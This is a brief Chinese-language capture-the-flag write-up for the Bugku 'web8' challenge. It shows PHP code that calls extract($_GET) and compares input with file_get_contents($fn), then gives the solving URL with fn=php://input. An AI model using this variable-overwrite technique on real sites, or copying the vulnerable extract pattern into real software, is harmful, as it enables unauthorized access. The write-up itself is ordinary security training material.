1. 程式人生 > >bugku-web8 writeup

bugku-web8 writeup

題目原始碼如下:

<?php extract($_GET); if (!empty($ac)) { $f = trim(file_get_contents($fn)); if ($ac === $f) { echo "<p>This is flag:" ." $flag</p>"; } else { echo "<p>sorry!</p>"; } } ?>

獲取flag的關鍵是$ac === $f,可利用file_get_contents函式獲取$f的值,file_get_contents() 函式把整個檔案讀入一個字串中,利用php://input進行賦值,

http://120.24.86.145:8002/web8/?ac=1&fn=php://input